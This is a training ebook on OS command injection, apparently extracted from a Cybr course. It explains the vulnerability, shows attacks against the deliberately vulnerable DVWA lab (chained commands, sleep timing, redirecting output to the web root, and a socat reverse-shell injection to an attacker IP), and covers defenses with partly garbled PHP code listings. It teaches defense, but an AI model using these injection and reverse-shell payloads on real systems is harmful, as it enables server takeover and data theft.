Os Command Injections Ebook
Os Command Injections Ebook
Guide. This version only contains the OS Command injections section, and not other injection
attacks for brevity. There is a separate ebook version that includes all injection attacks if you’d
rather. We know some people may prefer the format of an ebook over a series of lessons online,
or of written versus video lessons. In any case, we hope you enjoy it!
© 2020 - Cybr
Table of Contents
1. Overview of OS command injections
a. What are OS command injections?
b. How are OS command injections possible?
c. What OS command injections look like
d. Blind OS command injection techniques
e. Time-based attacks
f. Redirecting output
g. Out-of-band
h. Useful commands
2. Mounting OS command injection attacks
a. Get a pentesting environment up and running for free
b. Your first OS command injections
c. Time-based attack
d. Redirecting output
e. Listing all users and attributes
f. Create a reverse shell
3. Defenses against OS command injections
a. How to defend against OS command injections
b. Avoid calling OS commands directly
c. Escape values added to OS commands specific to each OS
d. Parameterization in conjunction with Input Validation
e. Additional Defenses
f. Code examples
4. Conclusion and other resources
© 2020 - Cybr
Overview of OS
command injections
When I first heard the term OS Command injection, or “Shell injection” as some people refer to it,
I don’t know why but I assumed it was some very advanced and obscure technique.
In reality, it’s quite similar to SQL injection techniques, it just requires a slightly different skillset.
Hearing that sentence alone should freak you out because if someone is able to get remote
access to execute commands on your server’s OS, you are going to be having a very bad day —
assuming that you even realize it.
Why? Because it means they could potentially get full system control and be able to:
© 2020 - Cybr
How are OS Command Injections possible?
So how is this possible? Well, these types of injections and attacks are made possible when
unsafe user-supplied data is allowed to be injected in a system shell from an application.
If you’re not a sysadmin, a shell is simply an interactive command language that also doubles up
as a scripting language.
So if an application is designed in a way that takes a user’s input and runs it through a shell
command, then bad things can happen.
If an attacker successfully pulls off this type of injection, they can assume whatever privileges the
application has. This means that if the server is misconfigured and you are running applications
with elevated privileges, a successful injection could completely compromise your server.
OS Command injections require familiarity with how the operating system works. That usually
means either Windows or Linux, since these two alone power pretty much all web apps. If a
server you are trying to compromise is running Linux, you need to be familiar with Linux
commands, and vice versa for Windows. As we’ll see, some commands can work on both, so that
can help with information gathering.
Let’s say that you’ve built a plugin for a client that allows them to upload and delete files from
their server, but without having to manually log into the server and learn how to navigate Linux.
This will take a file name from the user, and then execute the command rm via shell, returning the
complete output as a string.
© 2020 - Cybr
rm if you’re not familiar, is the command to remove a file.
So you would type rm <filename> and it would delete that file. You could also use it to delete
entire directories.
This code is vulnerable to injection, because instead of just selecting a file name, you can inject
other commands and run them directly from the shell!
rm old_file.txt; pwd
All of a sudden, the code will delete the old_file.txt, but it will also run the pwd command
which outputs the full pathname of the current working directory, which can validate that the
injection worked and it can help you gather information about the application’s path structure.
The reason we use the semicolon is because it allows us to chain commands together without
causing errors. So in that case it will run the rm command first, and then the pwd command,
otherwise it would have returned an error message.
The ; only works on Unix-based systems, so if it were for a Windows server we could use &
(which also works for Unix-based systems by the way).
If you’re going at it blind, meaning that the app doesn’t return any output within its HTTP
response giving you an indication that it worked, we can try a couple of techniques:
1. Time-based attacks
Again, just like with SQL injections, we can try injecting time delays to see if it affects the query,
because if it does, that means there’s a vulnerability.
2. Redirecting output
Another technique is to redirect output from the injected command into something like a file
within the application’s web root, which you can then retrieve using your browser.
© 2020 - Cybr
Time-based Attacks
In the case that our prior attack wouldn’t have returned any results, we could try this one instead
which will add a 5-second timer before responding.
At that point, even if you don’t get any output from the pwd command, you will still see the
application hang for 5 seconds if it is successful. We’ll see this in action in the next lesson.
rm old_file.txt; pwd; sleep 5
Redirecting Output
Setting a sleep timer can help us know that an injection was successful, but it doesn’t solve our
problem of not being able to see outputs. To solve that problem, we can use a technique called
“redirecting outputs.”
For example, if the application serves static images or CSS & JavaScript files from your web root
at /var/www/static/<files>, you could generate a text file: whoami.txt and then pull it up in
your browser, like this:
rm old_file.txt; whoami > /var/www/static/whoami.txt &
We can then visit the website’s URL and pull up that text file we just created:
https://vulnerable-website.com/whoami.txt
In this case, because we output whoami which names the current user, we now know which user
we’re running as, which gives us helpful information to carry out more attacks.
Out-of-band
An alternative is using the out-of-band technique, similar to what we saw in the SQL injection
section. Except for this time we can potentially have even more flexibility since we can tap into
operating system commands.
© 2020 - Cybr
You could monitor your own domain name and see that a request was initiated, which lets you
know that the injection was successful.
By using the backticks (`), on Unix-based systems, it will perform inline execution within the
original command. We can also use $(command).
And this will let you gather information straight from your own server.
Useful commands
As we wrap up this lesson, let’s take a quick look at some useful OS Command injection
commands that we can use in the next lesson when we perform these attacks against an
application.
© 2020 - Cybr
Sleep/timeout sleep Use ping or t
imeout in
batch file
Conclusion
So now, let’s go ahead and complete this lesson, and move on to the next where we will attack a
web application using OS Command Injections.
Mounting OS
Command injection
attacks
Get a pentesting environment up and running for free
Let’s pull up the Damn Vulnerable Web Application to see command injections in action!
If you don’t already have Docker installed, go ahead and do that now. If you need instructions on
how to install Docker, check out our blog post called “How to set up the DVWA on Kali with
Docker”.
© 2020 - Cybr
systemctl start docker
docker run --rm -it -p 80:80 vulnerables/web-dvwa
Go through the steps to configure the app. Login with admin/admin, configure the database, and
log back in with admin/password.
This lists out all the files and directories in your current, working directory.
You could also type in an IP to ping before that semicolon, but as you can see, at least on the low
security level difficulty, it is not required.
Let’s pretend that we’re not getting any output, and so we’re not sure if our injections are
working or not.
As you will remember from the prior lesson, one technique we can use to solve this problem is a
time-based attack:
Time-based attack
Type this in the input:
; pwd; sleep 5
You can see the application hanging for approximately 5 seconds, and so now you know that
your sleep injection worked, which means the pwd also most likely worked.
© 2020 - Cybr
Luckily, in this situation, we are able to see the output, and this output is telling us that the
webroot for the app is at /var/www/html/.
This is perfect, because while we could have tried to guess the web root directory since this is a
standard, especially for apache, we’ve now confirmed it and we can use that to our advantage.
Redirecting output
For example, if we want to figure out what user we are on the system, we could do that by
redirecting the output from our command and create a text file with that output like we saw in the
prior lesson:
; whoami > /var/www/html/whoami.txt ;
Remember, this could also be a useful technique for blind injections since it lets us output data
that we otherwise wouldn’t see.
If we want to know the user ID, group ID, and group name, we can run this command:
; echo "$(id)" > /var/www/html/whoami.txt ;
We will see:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
This is a plain text-based database that contains information for all user accounts on the system,
so this would be a valuable file to try and expose.
The result:
10
© 2020 - Cybr
Creating a reverse shell
Now, let’s kick it up a notch. Let’s see if we can’t create a reverse shell to connect to the server
and run commands that way.
I’m going to do this using a tool called socat which is fairly similar to netcat if you’re familiar with
that.
Then, on the server, we want to connect to that port. To do that, I first need to figure out the IP
address that it will connect to:
sudo ifconfig
Now that I have it, I can inject this command in the application:
; socat tcp-connect:10.0.2.15:1337 exec:bash,pty,stderr,setsid,sigint
At this point, our connection should be established, and we are now in the server.
ls
11
© 2020 - Cybr
We could read through the source code of the application, which would undoubtedly lead us to
finding even more vulnerabilities, potentially some secrets, or potentially even modify the source
code!
We can navigate around…for example, let’s go find our text file we created earlier:
cd /var/www/html
ls
cat whoami.txt
At this point, go ahead and have fun with the reverse shell since there’s a bunch of stuff you can
do, and when you’re ready, I’ll see you in the next lesson!
Defenses against OS
Command injections
OS Command Injections cannot be under-estimated as we’ve seen.
Thankfully, this type of attack is a lot less likely to happen, since as we saw, it requires giving an
attacker access to injecting system commands from the application. Most applications do not
need that kind of functionality, or if they do, there are safer implementations.
12
© 2020 - Cybr
Overall, just like with SQL injections, treat all user-supplied values as dangerous.
Let’s take a look at each of these, and then we’ll explore the code behind the DVWA and the
different levels of difficulty so that we can see how they implement different security controls, and
how effective they are.
Whenever possible, use APIs or libraries for the language that you are using instead of shell
commands.
In this example, they show using mkdir() to create a directory instead of a system() or exec() call
since it can’t be manipulated in the same ways.
Here’s a list of other dangerous ones to look out for in your code and to replace with alternatives:
Language API
Java Runtime.exec()
C/C++ systemexecShellExecute
Python execevalos.systemos.popensubprocess.
popensubprocess.call
PHP systemshell_execexecproc_openeval
13
© 2020 - Cybr
Escape values added to OS commands specific to each OS
The point of this defense is to disarm potentially harmful commands from user-supplied input.
How it does this depends on the method you are calling. The examples here show two PHP
options:
escapeshellarg()
escapeshellcmd()
The first one is used to escape a string that will be used as a shell argument, while the second
escapes any characters in a string that might be used to trick a shell command into executing
arbitrary commands.
Layer 1 – the parameterization approach enforces separation between the data and the
command, and the proper quoting and encoding to escape values.
Layer 2 – the input validation approach should also be familiar to you from the SQL injection
section, but this aims to verify the user-supplied data to make sure it matches expectations.
When validating commands: There are different ways to validate input, including “whitelists” or
the “allowlist” as I prefer to call them, which specify a list of allowed commands. If the input
doesn’t match one of those, it doesn’t pass it on to the system.
When validating arguments for those commands: you can again use an allowlist, or use an
allowlist and other validation techniques like regular expressions, maximum lengths, type
verifications (like if it’s supposed to be an integer, string, etc).
Additional Defenses
Of course, you should always seek to run the least privileges possible. So when configuring your
application and servers, make sure the applications run with the lowest privileges.
14
© 2020 - Cybr
And if you can, create isolated accounts with even more limited privileges that are only used for a
single purpose.
Code Examples
Now, feel free to browse these code examples, but we’re going to pull up the DVWA instead.
?>
On line 9, we run shell_exec() for the Windows version and the same for line 13 but for unix.
As we know, this version is vulnerable to command injections, so let’s look at the next level of
security.
15
© 2020 - Cybr
<?php
?>
The only things being removed, though, are the & and ;, so we could still run command injections,
so this is still vulnerable.
The high security version steps it up a notch with more characters in the denylist:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
16
© 2020 - Cybr
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
?>
17
© 2020 - Cybr
], 'index.php' );
18
© 2020 - Cybr
?>
We use the stripslashes() command which removes slashes from the user input, then we split
the supposed IP into 4 octets and remove the periods with the PHP explode() method.
After that, we check whether each octet is an integer or not, and whether there really are only 4
octects or not.
So if we’re looking at an IP like 127.0.0.1, it would break it out as 127 0 0 1. In that case, we
do have an octect of size 4 since it’s a valid IP, and each octet is an integer, so we put it all back
together for it to then be passed on to the shell_exec() method and executed as a command.
If someone tried slipping in a command injection into this, it would reject it and the command
would never get executed.
Conclusion
So that is the method that the DVWA creators ended up using to fix this vulnerability, but each
application is different and may require a different approach.
So now that you have explored what OS Command Injections are, how attacks can be carried out
against your applications, and 3 defense controls you can implement, it’s time for you to verify
your own applications for these vulnerabilities.
Once you’re done with that, go ahead and complete this lesson and I’ll see you in the next!
19
© 2020 - Cybr
Conclusion and
Additional Resources
Conclusion and Additional Resources
For the video version of this ebook, including more injection attacks like SQL Injections, LDAP,
and XXE / XPATH injections, check out our course on Cybr.
Be sure to follow Cybr’s social media accounts for more content like this:
● LinkedIn
● Facebook
● YouTube
We also have a Discord community where you can chat in real-time with me, other course
authors, and other Cybr members as well as mentors. We have forums if you’d prefer asking
questions there and/or finding additional resources.
Christophe
20
© 2020 - Cybr